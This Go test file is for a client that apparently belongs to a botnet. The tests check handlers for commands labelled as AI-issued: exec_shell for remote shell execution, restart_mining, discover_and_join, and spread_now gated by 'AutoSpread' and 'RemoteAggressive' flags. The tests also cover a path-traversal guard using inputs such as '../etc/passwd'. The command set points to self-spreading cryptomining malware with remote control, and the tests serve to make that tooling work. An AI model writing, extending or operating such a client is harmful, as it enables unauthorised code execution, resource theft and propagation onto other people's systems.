package client

import (
	"strings"
	"testing"
)

func TestValidateAICommandPathRejectsTraversal(t *testing.T) {
	cases := []string{
		"../etc/passwd",
		"/home/user/../../secret",
		`C:\Users\alice\..\admin`,
	}
	for _, path := range cases {
		if err := validateAICommandPath(path); err == nil {
			t.Fatalf("expected traversal rejection for %q", path)
		}
	}
}

func TestValidateAICommandPathAllowsSafePaths(t *testing.T) {
	for _, path := range []string{"", "~/Downloads", "C:\\Users\\alice\\docs"} {
		if err := validateAICommandPath(path); err != nil {
			t.Fatalf("path %q: %v", path, err)
		}
	}
}

func TestHandleAIExecShellRejectsTraversalPath(t *testing.T) {
	var gotAction string
	var gotOK bool
	var gotMsg string
	c := newTestClient(t)
	c.commandResultHook = func(action string, success bool, message string) {
		gotAction = action
		gotOK = success
		gotMsg = message
	}
	c.handleAICommand("exec_shell", 0, "echo hi", "../outside", "")
	if gotAction != "exec_shell" || gotOK || !strings.Contains(gotMsg, "path traversal") {
		t.Fatalf("got action=%s ok=%v msg=%q", gotAction, gotOK, gotMsg)
	}
}

func TestHandleAIExecShellRequiresCommand(t *testing.T) {
	var gotMsg string
	c := newTestClient(t)
	c.commandResultHook = func(_ string, success bool, message string) {
		if !success {
			gotMsg = message
		}
	}
	c.handleAICommand("exec_shell", 0, "", "", "")
	if !strings.Contains(gotMsg, "command is required") {
		t.Fatalf("msg=%q", gotMsg)
	}
}

func TestHandleAIRunDiagnostics(t *testing.T) {
	var gotAction string
	var gotOK bool
	c := newTestClient(t)
	c.commandResultHook = func(action string, success bool, _ string) {
		gotAction = action
		gotOK = success
	}
	c.handleAICommand("run_diagnostics", 0, "", "", "")
	if gotAction != "run_diagnostics" || !gotOK {
		t.Fatalf("action=%s ok=%v", gotAction, gotOK)
	}
}

func TestHandleAISpreadNowRequiresForgeFlag(t *testing.T) {
	var gotOK bool
	var gotMsg string
	c := newTestClient(t)
	c.cfg.AutoSpread = false
	c.cfg.RemoteAggressive = false
	c.commandResultHook = func(_ string, success bool, message string) {
		gotOK = success
		gotMsg = message
	}
	c.handleAICommand("spread_now", 0, "", "", "")
	if gotOK || !strings.Contains(gotMsg, "not enabled") {
		t.Fatalf("ok=%v msg=%q", gotOK, gotMsg)
	}
}

func TestHandleAICommandUnknownAction(t *testing.T) {
	c := newTestClient(t)
	if c.handleAICommand("not_an_ai_command", 0, "", "", "") {
		t.Fatal("unknown action should not be handled")
	}
}

func TestAICommandHandlersCoverRequiredActions(t *testing.T) {
	required := []string{
		"exec_shell", "restart_mining", "run_diagnostics",
		"discover_and_join", "spread_now", "full_sys_check",
	}
	for _, action := range required {
		if _, ok := aiCommandHandlers[action]; !ok {
			t.Fatalf("missing handler for %q", action)
		}
	}
}

func TestHandleAIRestartMining(t *testing.T) {
	var gotAction string
	var gotOK bool
	c := newTestClient(t)
	c.commandResultHook = func(action string, success bool, _ string) {
		gotAction = action
		gotOK = success
	}
	c.handleAICommand("restart_mining", 0, "", "", "")
	if gotAction != "restart_mining" || !gotOK {
		t.Fatalf("action=%s ok=%v", gotAction, gotOK)
	}
}